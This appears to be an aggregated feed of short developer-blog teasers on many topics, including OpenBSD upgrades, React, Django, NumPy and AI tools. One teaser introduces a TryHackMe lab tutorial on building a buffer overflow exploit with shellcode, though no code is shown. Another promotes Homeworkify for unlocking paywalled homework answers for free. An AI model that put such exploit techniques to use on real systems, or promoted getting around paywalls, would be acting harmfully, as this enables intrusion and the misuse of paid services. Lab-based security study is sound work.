Back in May, I started with a simple idea: what if musicians could use AI to generate music in real-time during live performance, not to replace creativity, but as another instrument? That experiment became OBSIDIAN Neural, an open-source VST3 plugin for AI-powered music generation. Load it in your DAW (Ableton, Bitwig, FL Studio, etc.), type a few keywords like "deep bass loop" or "ambient pad", and it generates audio in real-time. You can: Control it with MIDI hardware during live performance Layer AI-generated sounds with your synths and guitars Generate loops on-the-fly and mix them together The human stays in control - you decide what to generate, when, and how to mix it. AI generates, you orchestrate. Plugin: C++ with JUCE framework (my first major C++ project!) Backend: Python FastAPI + Stable Audio for generation What started as a weekend experiment turned into: 135+ stars on GitHub International media coverage (even articles in China and Japan!) A demo presentation at AES AIMLA 2025 in London Live performances mixing the VST with hardware synths The code has been open source from day one because I believe in tools that empower musicians, not replace them. Check out the project on GitHub: OBSIDIAN Neural It works on macOS, Windows, and Linux. The macOS version is now properly signed. Whether you're into live performance, sound design, or just curious about AI audio tools, feel free to give it a try and let me know what you think! What's your take on AI in music production? Tool or threat? Let's discuss in the comments!  ( 6 min )

Building Blocks The formula for decision making derives from proper chunking of what our senses perceived and how we process it in our mind; if we want to identify or learn what is in front of us—we have to discern the object/entity and profoundly comprehend its properties. DIKW Pyramid is a model we can use to organize and structure our thoughts to conclude a decision. Starting from data, information, knowledge, and wisdom. Analogous example will be emphasized to nullify technical concepts for lighter comprehension. This is pretty much a straightforward form of what your senses perceive; when you taste food you can gather a pool of answers depending on your taste buds: sour, bitter, sweet, or salty. Remember, data are raw facts waiting to be stripped and revealed based on how we process information that comes inside our mind. Context lives in this block, information provides life and meaning to data. Questions on who, what, where, and when—will surface to organize, structure, and contextualize the data perceived. From the aforementioned example, if the dish is much salty based on your taste buds—a question will raise in your mind: What kind of salty ingredient did the chef used for their dish? When did they marinate this dish? Answering these questions will make your information processing starts to feel formed and cultivated. After analyzing and interpreting information we can now turn it as knowledge. These provide answers to our whys and hows: Why is their dish too salty? How did they cook this dish? How sodium rich is their dish? At this point, you are now ready to make decisions based on the outcome of the questions that were raised in your mind. The final block of the model focus more on decisions. After eating the salty dish, you can now decide for future events since the experience already occurred. Should I still eat here next time or try a new restaurant? Should I try different dish instead next time? Always remember that rational decisions derive from how we process information in our mind.  ( 7 min )

Originally posted on my security blog - https://biscottidiskette.github.io Disclaimer: For educational purposes only. Only run these techniques against machines you own or have explicit written permission to test. Unauthorized exploitation is illegal and unethical. By the end of this post, you'll have a working buffer overflow exploit for a vulnerable Windows service. We'll cover: Connecting to the service with Python Fuzzing to find the crash Controlling the instruction pointer (EIP) Finding bad characters Generating and delivering shellcode The target is OVERFLOW1 from TryHackMe's Buffer Overflow Prep room, but the techniques work for any vanilla stack overflow. Fair question - there are plenty of buffer overflow tutorials out there. This post focuses on the why behind the code: the libr…  ( 11 min )

Next.js App Router introduced two advanced routing primitives: Parallel Routes Intercepting Routes These aren’t random features — they were invented to solve challenges that naturally arise in file-based routing. This guide explains Parallel Routes from scratch (no use case at first), then naturally introduces the real-world modal use case, shows why Parallel Routes fail alone, and how Intercepting Routes solve that problem. Finally, we’ll cover all interception patterns (.), (..), (..)(..), (...) with real URLs — and end with practical use cases. Let’s begin. Parallel Routes allow a layout to render multiple independent route segments at the same time. Example layout: export default function RootLayout({ children, modal }) { return ( {children} {modal} ); } …  ( 9 min )

Python is one of the most useful tools in a DevOps engineer’s belt. Not because it’s trendy, but because it gets automation done without drama. If you want to use Python to actually support CI/CD, cloud, infra, and operations work, you need a plan that isn’t just “learn basics and vibe.” Here’s a structured roadmap that focuses on what DevOps actually requires. Before touching cloud or automation, get the essentials straight. Learn: Variables and data types Goal: Write small scripts without googling every step. DevOps scripts deal with machines, files, logs, and environments, not tic-tac-toe games. Focus on: Reading and writing files Goal: Automate everyday sysadmin or ops tasks reliably. A DevOps script is useless if it breaks the moment something changes. Learn: Idempotent scripting patt…  ( 7 min )

The Ringer’s Bill Simmons, Sean Fennessey, and Van Lathan take a deep dive into Brian De Palma’s 1998 thriller Snake Eyes, dissecting Nic Cage’s head-tilting performance alongside Gary Sinise and Carla Gugino and trading hot takes on the film’s iconic visual style and twists. Expect behind-the-scenes tidbits, sharp banter, and the usual Simmons-verse chemistry—all wrapped up in a PayPal-sponsored episode (5% cash back with Pay in 4 through 12/31). Watch on YouTube  ( 6 min )

Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less is CinemaSins’ latest deep-dive into the film’s never-ending dinosaur resurrections, delivering all the screen sins you didn’t know you needed. Expect plenty of tongue-in-cheek jabs as they count every plot hole, lazy callback, and CGI misstep that comes with bringing dinosaurs back to life… again. Beyond the video, they’re hustling for fan feedback and support—hit up their sinful poll or join Patreon—while rattling off a full writing squad (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) and a buffet of social channels (Discord, Reddit, Instagram, TikTok, Twitter) for every kind of movie-sin enthusiast. Watch on YouTube  ( 6 min )

はじめに OpenBSD プロジェクトから 2025 年 10 月 22 日に OS の 7.8 がリリースされました 🌷 59 回目のリリースに当たります。 What's New | Changelog 本記事で OpenBSD 7.7 を 7.8 にアップグレードする手順を説明します。 公式ガイド (英語) に基づいています。 実行するコマンド一式を示しながら、ステップ・バイ・ステップ形式で書いた、アップグレード用のガイドです。 🌊 🐡 🌊 1. アップグレード前準備: 検証とカスタイマイズ 公式のチュートリアルには Before using any upgrade method (私訳: アップグレード方法に関わらずその前に行うこと) セクションが設けられています。 アップグレード方法としては sysupgrade を使うのが、たいていの場合、良い選択になるでしょう。 /usr に 1.1GB 以上の空きがあることが必要です。 $ df -h Filesystem Size Used Avail Capacity Mounted on (...) /dev/sd1e 7.6G 3.5G 3.7G 50% /usr OK のようです :) 設定と構文の変更 (英語) と 特別なパッケージ (英語) を確認しましょう。 PHP が含まれています。デフォルトバージョンが 8.3 に変更されています: The default version of PHP in ports has changed from 8.2 to 8.3. 適宜、事前にバックアップを取得しておきましょう。 ここは参照用であり、標準のアップグレードではスキップできます。 /auto_upgrade.conf を…  ( 8 min )

Turbo Dither: High-Performance Browser-Based Image Dithering with Retro Flair -> turbodither.com In the world of digital imaging, dithering remains a timeless technique for simulating colors and gradients in limited palettes. Turbo Dither is a cutting-edge tool that brings professional-grade dithering to your browser. Built with Next.js 15 and React 19, this free application transforms ordinary images into retro masterpieces using authentic algorithms and color schemes from computing history; all without servers, accounts, or compromises on privacy. Turbo Dither prioritizes speed, usability, and authenticity. Key highlights include: Blazing-Fast (even though it's not in Rust) Processing: Leveraging Web Workers, image transformations occur in a background thread, ensuring a buttery-smoot…  ( 6 min )

Nobody likes manually writing and updating Documentation. ERDs (Entity Relationship Diagrams) provide a really helpful overview of what your database relationships look like. Context: We are using Azure DevOps (ADO) to manage our CI/CD Pipelines using the Power Platform Tools and therefore the Solutions are unpacked and stored in the Repository (there may be multiple Solutions inside of a Project). The idea: working with Power Platform solutions stored in ADO, it would be great to visualise complex entity relationships right inside ADO. Visualizing these relationships can make solution design and troubleshooting much easier, it certainly helps me. In this quick post, we'll use a short prompt using Chat in VS Code to get an AI Agent to generate a Mermaid ERD from our Dataverse solution file…  ( 7 min )

Summary The OpenBSD project released 7.8 of their OS on 22 Oct 2025, as their 59th release 💫 What's New | Changelog This post shows how to upgrade OpenBSD 7.7 to 7.8. their official guide with appreciation to them. Here is a step-by-step guide with a set of command-lines to run. 🌷 🐡 🌅 1. Pre-upgrade: Validate and customize The official tutorial includes Before using any upgrade method section. Using sysupgrade is usually a good choice. /usr should be greater than 1.1GB. $ df -h Filesystem Size Used Avail Capacity Mounted on (...) /dev/sd1e 7.6G 3.5G 3.7G 50% /usr OK :) See Configuration and syntax changes and Special packages. PHP default version switched to 8.3: The default version of PHP in ports has changed from 8.2 to 8.3. You might have …  ( 10 min )

Privacy-Preserving Active Learning for circular manufacturing supply chains in hybrid quantum-classical pipelines Introduction While exploring quantum machine learning applications for sustainable manufacturing, I stumbled upon a fascinating challenge that would consume my research for months. It started when I was consulting for a circular manufacturing consortium that wanted to optimize their supply chain using AI, but faced two fundamental constraints: they couldn't share proprietary manufacturing data between partners, and classical optimization algorithms were hitting computational limits with their complex multi-objective problems. During my investigation of quantum-enhanced machine learning, I realized that the combination of privacy-preserving techniques and hybrid qua…  ( 11 min )

When building forms in React, you’ll inevitably come across controlled and uncontrolled components. performance, maintainability and UX. In this blog, let’s break down the difference, see them in action, explore real-world issues (like cursor position and undo/redo bugs), and understand when to use each. In controlled components, React state is the single source of truth. Example: import { useState } from "react"; function ControlledInput() { const [name, setName] = useState(""); return ( setName(e.target.value)} placeholder="Type your name" /> ); } Here, the value is fully controlled by React via the name state. setName(), re-rendering the component with the updated value. ✅ Pros Easy to validate or transform …  ( 8 min )

Why AI chat won’t kill websites, but reinvent them. GitHub Templae I’m a practicing developer and architect who has spent the last few years living at the intersection of modern web frameworks, SEO, and AI tooling. Every day, it becomes harder to pretend that the way we design interfaces can stay the same while user behavior, search, and AI are shifting under our feet. This piece is about a new kind of interface — not just another set of trendy components, but a different model of how humans interact with web applications. It’s about what happens at the crossroads of AI chat and traditional websites — and what that means for designers, developers, and businesses building products for the next 5–10 years. For the last twenty years, the web has been surprisingly predictable. There is a pa…  ( 16 min )

We're living in a golden age of technology, where powerful programming languages, cutting-edge development practices, and revolutionary fields like AI and machine learning are redefining industries. This post explores the synergy between Java, Python, JavaScript, web development, machine learning, AI, data science, big data, cloud computing, DevOps, and blockchain—and how these interconnected technologies are driving large-scale innovation. The Holy Trinity: Java, Python, and JavaScript These three languages form the backbone of modern software engineering: Java — Renowned for its robustness, security, and platform independence; a cornerstone of enterprise ecosystems. Python — Loved for its clean syntax and vast libraries, especially in data science, AI, and automation. JavaScript — …  ( 7 min )

Hosting a webinar is a powerful way to connect with your audience, generate leads, and establish your brand as an industry authority. But after the live event ends, how do you know if it was truly successful? The answer lies in webinar analytics. The success of your webinar starts long before the event goes live. Monitoring pre-webinar analytics helps you understand the effectiveness of your promotional efforts and build a strong foundation for a well-attended event. This metric tracks the total number of people who visited your webinar registration page. A high number of page views indicates that your promotional campaigns are successfully driving traffic. If your page views are low, it might be a sign that your marketing messages aren't reaching the right audience or that your call-to-ac…  ( 9 min )

WTF is this: Circuit Breaker Pattern Ah, the joys of modern technology – where a simple Google search can leave you feeling like you need a PhD in Computer Science to understand what's going on. Today, we're tackling a term that sounds like it belongs in a sci-fi movie: the Circuit Breaker Pattern. Buckle up, folks, and let's dive into the wonderful world of coding! What is Circuit Breaker Pattern? In simple terms, the Circuit Breaker Pattern is a design approach used in software development to prevent a cascade of failures when a service or system is experiencing issues. Imagine you're at a music festival, and the main stage's sound system starts malfunctioning. If the sound system is connected to a series of smaller stages, and each stage is connected to the next, a single failure could …  ( 11 min )

🔢 Building Strong Data Analytics Foundations 🚀 Today I focused on improving my Python skills by practicing NumPy, one of the most powerful libraries used in Data Analytics and Machine Learning. Creating arrays: array(), arange(), linspace() Indexing & slicing (1D, 2D, 3D) Mathematical & statistical operations Broadcasting Reshaping arrays with reshape() ✔️ Intermediate Operations Horizontal & vertical stacking Boolean filtering Using the random module: np.random.rand() np.random.randn() np.random.randint() Vectorization for fast computations np.dot(a, b) np.matmul(a, b) np.where(condition, value_if_true, value_if_false) np.sort(arr) np.unique(arr) np.genfromtxt("data.csv", delimiter=",") Compared memory usage of Python lists vs NumPy arrays Used %timeit in Jupyter Notebook for speed comparison Extremely fast numerical operations Clean, simple, and vectorized code Foundation for Pandas, Matplotlib, Scikit-Learn Widely used in data preprocessing and ML models You can check my NumPy practice code here: GitHub: https://github.com/ramyacse21/numpy_workspace  ( 6 min )

— Learning Matplotlib (All Charts Explained!) Today, I worked with Matplotlib, the most fundamental Python library for data visualization. 🔥 What I Learned — Matplotlib Chart Types Below are the essential chart types every Data Analyst should know: 1️⃣ Line Chart Used to show trends over time. Use case: Monthly sales trend. import matplotlib.pyplot as plt x = [1,2,3,4,5] y = [10, 20, 15, 25, 30] plt.plot(x, y) plt.title("Line Chart") plt.xlabel("Months") plt.ylabel("Sales") plt.show() 2️⃣ Bar Chart Used to compare categories. categories = ["A", "B", "C"] values = [20, 35, 30] plt.bar(categories, values) plt.title("Bar Chart") plt.show() 3️⃣ Histogram Shows the distribution of data. data = [22,25,29,21,28,30,27,26,32,24] plt.hist(data, bins=5) plt.title("Histogram") plt.show(…  ( 7 min )

So far, we have stayed on the client side of a Nuxt application. Pages (/app/pages) built from components (/app/components) and driven by logic in /app/composables and /app/utils are the building blocks of what the user ultimately sees - the frontend. For many apps, especially smaller ones, this is more than enough. But Nuxt also provides powerful features for backend operations. It lets you expose API endpoints, receive and process requests, and acts as a fully fledged server - all together in the same code-base. Nuxt is built on top of the internal web server engine Nitro. Nitro provides its own runtime independent of everything else and powers the application environment, giving us a range of great features. Developers will appreciate hot module reloading (HMR) during development - just…  ( 9 min )

A post by Asgar Ali  ( 6 min )

‘Snake Eyes’ Deep Dive Bill Simmons, Sean Fennessey, and Van Lathan reunite in sewer-rattled glory to rewatch Brian De Palma’s 1998 thriller Snake Eyes, dishing on Nic Cage’s charm, Gary Sinise’s intensity, and Carla Gugino’s grit. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this Ringer Movies episode is brought to you by PayPal—snag 5% cash back on Pay in 4 all holiday long. Watch on YouTube  ( 6 min )

Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less is CinemaSins’ latest snarkfest, where they rack up all the “sins” and plot holes of the newest dino adventure in classic tongue-in-cheek style. They marvel at how this prehistoric franchise keeps resurrecting its biggest attraction—and how we keep flocking back for more. Beyond the roast, they plug their whole ecosystem: YouTube channels, Discord, Reddit, social media, a quick audience poll, Patreon support, and even shout-outs to the writing team (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel). If you love cheeky film critiques and dinosaur digs, this one’s for you. Watch on YouTube  ( 6 min )

``1.Create an App Variable 2.call it Points to Note Down: It only Return String. You can pass Dynamic Values to it. How To Pass dynamic values to Beanshell hash. Call it by passing the dynamic value.  ( 6 min )

ChatGPT describes the one-hot encoding as following: One-Hot Encoding is a categorical feature transformation technique used to convert non-numerical labels (like “red”, “blue”, “green”) into numerical binary vectors, so machine-learning models can understand them. Now the thing with this approach is that what if we have 200s of categorical values, you are not going to create individual 200 columns for each categorical values. import pandas as pd import numpy as np data = pd.read_csv('test.csv', usecols=['X1', 'X2', 'X3', 'X4', 'X5','X6']) data.head() This is what this dataset consists Now we don't know what those categories emphasize, and we also don't know how much of those individual unique categorical value exists so let's try to figure out. for col in data.columns: print(col, "…  ( 6 min )

The CAD world is on the edge of a transformation that’s far bigger than the jump from 2D drafting to 3D modeling. Over the next five years, AI will become a core part of how engineers design, modify, optimize, and validate models. Not just a plugin. Not an add-on. A built-in intelligence layer. If you’re a mechanical engineer or CAD user, here’s what’s coming—and how it will reshape your workflow. 1. CAD Will Become Prompt-Driven (But Not 100% Replacing Manual Modeling) “Will we be able to design a full CAD part just by writing a prompt?” Short answer: Yes—but only for certain classes of geometry, and not as a universal replacement for parametric modeling. Over the next five years: Autodesk Fusion already uses generative design where you define constraints and AI produces multiple manufact…  ( 8 min )

When dealing with network issues on a Linux server, netstat, ss, and lsof are essential tools that help you understand what’s happening beneath the surface. When your server starts behaving strangely, like slow connections, strange ports being open, or unresponsive applications, it often points to a network-related issue. In Linux, tools like netstat, ss, and lsof can help you quickly diagnose and fix these problems. They reveal what’s really going on under the hood of your system. Have you ever wondered how to find out what’s happening behind the scenes of your network connections, which applications are using your ports, or why your server feels slower than usual? The netstat, ss, and lsof trio is widely used for analyzing open ports, socket connections, and running processes in Linux se…  ( 7 min )

Over the last few days, I built and launched a small SaaS called Book-Writer-AI — a tool that generates full books using AI, chapter by chapter, with controllable tone, pacing, characters and structure. It’s available here: https://book-writer-ai.com (Some books generated by users are already public and readable on the site — a surprisingly fun bonus feature.) This is the story of how I built it fast using , and the technical challenges that came with generating long-form narratives using LLMs. Because I wanted to ship fast, I used a very lean and predictable stack: Backend: PHP (vanilla, no framework — to keep it fast & simple) Database: MySQL with manually designed SQL tables Cache / Queue: Redis _Frontend: _Bootstrap AI Models: Claude 3.5 Sonnet + OpenAI GPT-4.1 for fallback Payments: …  ( 8 min )

Laravel Eloquent makes working with databases easy, safe, and efficient. Its create() family helps you insert, update, or prevent duplicate records with minimal code. Here’s a quick guide. create() – Simple Insert Inserts a new record using mass assignment. Requires $fillable or $guarded in the model. Throws an error if a record already exists. User::create([ 'name' => 'John Doe', 'email' => 'john@example.com', 'password' => bcrypt('secret') ]); firstOrCreate() – Insert If Missing Searches for a record first. Creates a new record only if it doesn’t exist. Returns a saved model. User::firstOrCreate( ['email' => 'a@a.com'], ['name' => 'AA', 'password' => bcrypt('pass')] ); firstOrNew() – Prepare Without Saving Similar to firstOrCreate(), but doesn’t save if not found. Returns an unsaved model instance for further modifications. $user = User::firstOrNew(['email' => 'a@a.com'], ['name' => 'AA']); $user->password = bcrypt('secret'); $user->save(); updateOrCreate() – Upsert (Update or Insert) Finds a record and updates if it exists. Creates a new record if not found. User::updateOrCreate( ['email' => 'a@a.com'], ['name' => 'Updated Name', 'status' => 'active'] ); Always protect mass assignment with $fillable. Use firstOrCreate() to avoid duplicates in seeders. Use updateOrCreate() for upserts. Use firstOrNew() when you need extra control before saving. Master these methods to write cleaner, safer, and more efficient database code!  ( 6 min )

As you probably know by now, osquery effectively turns your endpoints into SQL endpoints that you can query: SELECT * FROM processes or SELECT * FROM users etc. But, that data is much more useful if it's tied to other telemetry data coming from your VMs, endpoints or Kubernetes clusters. This is typically the domain of APM tools. Using OpenTelemetry (and specifically the OpenTelemetry collector) we can bring those two worlds together. In this video I show you how that's done.  ( 6 min )

If you've noticed a massive version bump for the Pagy gem, you're not seeing things! The Pagy team skipped straight to Version 43.0.0, calling it a "leap version" to signal that this isn't just a new major release—it’s a complete overhaul and redesign of the best Ruby pagination gem. Here is a look at the critical changes and exciting improvements that make Pagy v43 simpler, faster, and smarter. The core philosophy behind v43 is "more... with less." This release represents a fundamental refactoring and redesign of the code, API, and usage. While this is a breaking change (you must check the upgrade guide!), the result is a massively streamlined experience: Dramatically Simpler API: The mental load is gone. You now primarily need just the pagy method and the resulting @pagy instance to hand…  ( 7 min )

DNS is the way things find other things, but did you know that you can use that fact to build a real time service to service communication / traffic flow on a Kubernetes cluster? That's what the smart folks over at Otterize have done and in this video, I put their network mapper tool on the OpenTelemetry demo to see how well it performs (spoiler: really well!)  ( 6 min )

For many founders, starting a new software project feels exciting at first. You’ve got the idea, the investment, and a clear vision of how the final product should look. Then, within a few weeks of development, the excitement starts to fade. You’re checking updates, hoping to see screens, buttons, and something you can click on, but instead, your team tells you they’re “still working on the backend.” That’s where confusion often begins. It feels like nothing is moving, even though, behind the scenes, the most important work is happening. Building software isn’t about jumping straight into design or shiny interfaces. It’s a layered process, one that starts deep below the surface. Just like constructing a house or seeing only the tip of an iceberg, the early work in software development is m…  ( 12 min )

In the digital age of education, students are constantly searching for effective ways to tackle challenging homework problems. Enter Homeworkify a powerful online platform that's transforming how students approach their assignments and build genuine understanding. Homeworkify is an innovative educational tool designed to help students unlock solutions to homework questions from popular platforms like Chegg, Course Hero, and other subscription-based homework help services—completely free. But it's more than just an answer repository; it's a learning companion that provides detailed, step-by-step explanations to help students truly grasp the concepts behind their assignments. The process is remarkably straightforward: Find your question: Students copy the URL or question text from homework h…  ( 7 min )

🎯 The Problem We Solved Imagine you're securing $1M in a smart contract vault. A single-chain multi-sig wallet gives you ~10^-6 attack probability. But what if the entire chain gets compromised? What if validators collude? Trinity Protocol provides mathematical security: 10^-18 attack probability. How? By requiring consensus from 2 out of 3 independent blockchain networks before any operation executes. Think of Trinity as a bank vault with 3 security guards from different countries (Arbitrum, Solana, TON). To open the vault, you need 2 out of 3 guards to agree. If one guard is compromised, the vault stays secure. ✅ Multi-chain consensus verification system ✅ Decentralized operation approval mechanism ✅ Mathematical security layer for DeFi protocols ✅ 2-of-3 validator agreement befor…  ( 13 min )

Introduction Hello everyone. My name is K.H. and I'm currently studying at a university in Vancouver, Canada. Personally developed a map app to solve the problem of not being able to find a place to concentrate on studying. I became self-sufficient from planning to design, implementation, and deployment. Front-end development using React / TypeScript Back-end and database integration using Supabase / MongoDB / Node.js / Express Utilizing the Google Maps API and external APIs Deployment using Firebase Hosting / Vercel / EC2 Building CI/CD using GitHub Actions Test creation using Jest + React Testing Library Establishing the habit of publishing technical articles (Qiita) What I Learned at My Current University Deploying a web app using AWS (EC2 / Auto Scaling / Load Balancer) Linux Operations (File Operations, Process Management, Service Management) Web Server (Apache / Nginx) Basics and Publishing a Static Site Networking Basics (OSI Model, IPv4, Subnetting, DHCP) Packet Network Building Exercises with Tracer Continue to thoroughly study the output and solidify your knowledge  ( 6 min )

(Namaste)! 🙏 You've built something awesome on Google Cloud Run. Maybe it's a smoothie recipe API, a coffee service, or any cool app. It works great! You added login, API keys, and all that security stuff. But here's the scary truth: Your API is still sitting on the public internet like a house with the address posted everywhere. Sure, you locked the doors (added auth). But everyone can still see your house, walk up to it, and try to kick the door down. Hackers can spam it with thousands of fake requests. Bots can probe it for weak spots. Google even admits this is a problem in their own bug tracker (https://issuetracker.google.com/issues/237250997). What if your APIs could be completely invisible? Like they don't even exist on the public internet? That's what we're building today. No mor…  ( 12 min )

The Many-to-Many relationship is a cornerstone of database design, but what happens when you need to store extra data about that relationship? Standard Many-to-Many falls short. In Django, the solution is the intermediary model or intermediary table. Let's start with a classic e-commerce scenario. A Customer can buy many Products, and a Product can be bought by many Customers. This is a Many-to-Many link. If we only link Customer and Product, we can't capture vital transaction details like: Quantity: How many units of the product were bought? Date: When did the transaction occur? This extra data doesn't belong to the Customer (it's not part of their intrinsic profile) or the Product (it changes with every sale). It belongs to the act of purchasing. To capture this, we introduce a third mo…  ( 9 min )

The way we write code is fundamentally changing. AI-powered coding assistants are no longer just a novelty—they're becoming essential tools in every developer's arsenal. In this comprehensive guide, I'll show you exactly how to leverage AI to code faster, smarter, and more efficiently. We're witnessing a paradigm shift in how developers work. AI tools are not replacing developers—they're amplifying our capabilities and allowing us to focus on what truly matters: solving complex problems and building innovative solutions. Gone are the days of simple autocomplete. Modern AI assistants understand context and predict entire code blocks. Popular Tools: GitHub Copilot: Trained on billions of lines of code, suggests context-aware completions Cursor: AI-first code editor with powerful prediction c…  ( 8 min )

So, you're looking to get a chatbot for your business, huh? It’s a smart move, but with so many options out there, figuring out which one is the best fit can feel like a maze. We're going to break down how to compare chatbot platforms, looking at what they can do, how much they cost, and how easy they are to actually use. Think of this as your guide to not getting lost in the chatbot jungle. When comparing chatbot platforms, evaluate the AI sophistication — some bots are simple, while others can handle complex, context-aware conversations. Think about your main goal: marketing automation or customer support. Choose a platform built for that purpose. Pricing models differ — some platforms offer free plans, while others bill based on usage or message volume. Usability matters: a powerful …  ( 10 min )

‘Snake Eyes’ Rewatch with Bill, Sean & Van The Ringer’s Bill Simmons, Sean Fennessey and Van Lathan dive back into Brian De Palma’s neon-drenched thriller Snake Eyes—yes, the one with Nic Cage, Gary Sinise and Carla Gugino—to break down the wild camerawork, conspiracy twist and ’90s vibes you forgot you loved. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this episode is fueled by PayPal’s holiday Pay in 4 deal (5% cash back through 12/31). Don’t miss the Ringer-Verse and Bill Simmons channels for more movie mischief! Watch on YouTube  ( 6 min )

CinemaSins’ latest video, “Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less,” rips into every cheesy dino revival and plot hiccup with their trademark rapid-fire sin counting. Think endless T-Rex comebacks, cringe-worthy dialogue and more Jurassic clichés than you can shake a fossil at. Of course, they’re not just sinning— they’re also hyping their network (TVSins, CommercialSins, Cinemasins Podcast), social hangouts (Discord, Reddit, Twitter, Instagram, TikTok), a fun sin-filled poll and a Patreon so you can keep feeding their glorious sin machine. Watch on YouTube  ( 6 min )

**Landing a senior or even mid-level React role **requires more than knowing how to use useState. You need to understand why React works the way it does. Intermediate Concepts The Memoization Trap: Why does a child component wrapped in React.memo still re-render? How do you fix it? The re-render happens when a parent component passes down non-primitive props, specifically functions or objects, defined inside the parent component. The Problem: On every re-render of the Parent component, JavaScript recreates every function and object inside it. Even if the function's code hasn't changed, its memory reference is new. The Failure: The React.memo check sees that the function prop is a new reference (oldFunction !== newFunction), so the shallow comparison fails, and the child re-renders unnecessarily. The Fix: You must use useCallback to memoize the function reference and useMemo to memoize the object reference (if passing objects/arrays). For Functions (Callbacks): const handleClick = useCallback(() => { /* logic */ }, [dependency]); // Passes the same function reference across renders. const styleProps = useMemo(() => ({ color: 'blue', padding: 10 }), []); // Passes the same object reference across renders. Read the full guide here (30+ Questions & Solutions) 30+ React Interview Questions & Solutions (2025)  ( 6 min )

In a digital-first economy, the code that powers your business is as critical as any other asset. Custom software and robust web development are no longer just operational tools; they are powerful engines for growth, innovation, and competitive advantage. Investing in professional software development services allows companies to scale operations, enhance customer experiences, and unlock new revenue streams. Off-the-shelf software can be a great starting point, but it often falls short when it comes to meeting the unique needs of a growing business. These one-size-fits-all solutions may force you to adapt your processes to fit the software, rather than the other way around. This can lead to inefficiencies, manual workarounds, and frustrated employees. Think about the daily, manual tasks yo…  ( 9 min )

Crypto often feels confusing when you see Bitcoin (BTC) listed at slightly different prices on Binance, Coinbase, OKX, KuCoin, and even other blockchains like Ethereum or BNB Chain. its own blockchain, how can it exist and trade on so many different platforms at once? This article breaks down exactly how crypto pricing works, why BTC always stays nearly the same price everywhere, and the big difference between: Real BTC on the Bitcoin blockchain, and Wrapped or pegged BTC on other chains. 1. Bitcoin Lives Only on the Bitcoin Blockchain Bitcoin is a native asset of the Bitcoin blockchain. When you see BTC trading on: Binance Coinbase Bybit OKX KuCoin Gate MEXC …they are all trading real native Bitcoin. Even though the trades happen off-chain inside each exchange, the underlying asset is s…  ( 8 min )

This guide will help you integrate TailwindCSS into your Django django-tailwind. First, install django-tailwind and its dependencies: pip install django-tailwind pip install django-browser-reload Open your settings.py and add: INSTALLED_APPS = [ ... 'tailwind', 'theme', 'django_browser_reload', ] Also add this middleware: MIDDLEWARE = [ ... "django_browser_reload.middleware.BrowserReloadMiddleware", ] Run this command: python manage.py tailwind init theme This creates a new Django app named theme that contains Tailwind Then navigate to the theme directory: cd theme Inside the theme folder, run: npm install This installs Tailwind and all required frontend dependencies. Open the tailwind.config.js and update the content section: module.exports = { content: [ "../../templates/**/*.{html,js}", "../../**/templates/**/*.{html,js}", ], theme: { extend: {}, }, plugins: [], }; Now run Tailwind in dev mode: python manage.py tailwind start This will compile CSS automatically whenever you edit your template In your base template: {% load static %} Add to your urls.py: from django.urls import path, include urlpatterns = [ ... path("__reload__/", include("django_browser_reload.urls")), ] And in your base template, just before : {% if debug %} {% endif %} You have successfully integrated Django + TailwindCSS using Now you can use Tailwind classes directly inside your Django templates Happy coding!  ( 6 min )

No WordPress, metas keys surgem como um mecanismo invisível que nos proporciona uma verdadeira flexibilidade de customização. Eles transformam dados estáticos em camadas dinâmicas, permitindo que plugins evoluam de meras extensões para ecossistemas completos e adaptáveis. Neste guia direto e prático, iremos falar um pouco sobre os fundamentos de post_meta, user_meta e similares, com exemplos que elevam o desenvolvimento de plugins a um patamar mais profissional. Caso tenha interesse, veja o último artigo que publiquei: Desvendando o Sistema de Plugins do WordPress: Um Guia Prático para Desenvolvedores, ele complementa o que iremos abordar neste aqui. Vamos construir exemplos simples para um plugin, cobrindo: Tipos de metas: post_meta, user_meta, term_meta e options. Operações básicas: adic…  ( 9 min )

Becoming an Azure Solutions Architect is one of the most rewarding—and in-demand—career goals in 2025. But many cloud learners struggle with the question: How do I go from beginner-level AZ-900 to expert-level AZ-305 without feeling overwhelmed? Microsoft’s certification pathway is designed intentionally: AZ-900 builds your foundation AZ-104 gives you real, hands-on admin skills AZ-305 teaches you to architect secure, scalable Azure solutions This progression ensures you’re not just earning certifications—you’re learning how Azure works from the ground up. Start with AZ-900 (Fundamentals) AZ-900 is your entry point. The exam is simple, but it gives you the vocabulary and confidence you need to move forward. Cloud basics (SaaS, PaaS, IaaS) Azure core services (VMs, Storage, Virtual Networ…  ( 8 min )

Mastering AI-Driven Development: From Instinct to Intent The arrival of generative AI tools like ChatGPT, Claude, and GitHub Copilot has fundamentally reshaped how we approach software creation. This profound shift has sparked two distinct philosophies in AI-assisted coding: "Vibe Coding" and "Prompt-Driven Development." Understanding their differences is crucial for modern developers. Within today's dynamic software development landscape, two primary AI-supported programming styles are emerging, each reflecting a markedly different operational mindset: Vibe Coding embodies a swift, intuitive, and often spontaneous method of generating code with AI. Its core strength lies in rapid execution and broad accessibility, enabling even those without deep programming expertise to conjure functio…  ( 12 min )

A developer’s story, a tough realization, and why we built LogTaskr. As developers, we love to believe our biggest enemy is complexity. But the real enemy is quieter. It sneaks in through Slack pings. I didn’t understand this until the day I tracked my own time. The Moment Everything Broke Down I started my morning like any other dev: Instead, here’s what actually happened: 12m reviewing a PR 7m seeing a Slack message 4m checking an error in logs 3m going back to Slack 14m lost because of context switching 9m in a “quick” meeting 6m scrolling GitHub issues 20m chasing a bug that wasn’t even mine By the time I returned to my feature… rebuild the entire mental model from scratch. That’s the hidden cost devs never talk about. flow state, the only place real engineering happens. And the worst part? I believed I was “busy.” The uncomfortable truth Ask any developer what they worked on today. Ask them how much time each task took… We’re brilliant at estimating systems. That’s when it clicked: If I can’t measure where my time goes, I can’t improve it. This wasn’t a productivity problem. observability problem. And developers love observability. So we built LogTaskr — an observability tool for your day. Not another productivity app. It’s simply this: 👉 Track what you do. When I saw my first report, it was brutal. Because once you see the patterns, you can fix them: Remove meetings that kill flow Batch shallow tasks Protect deep work windows Reduce context switching Catch invisible distractions before they stack Devs optimize everything. LogTaskr fixes that. If you’ve ever wondered why your 8-hour day feels like 2 hours… It’s not you. 🔗 Try 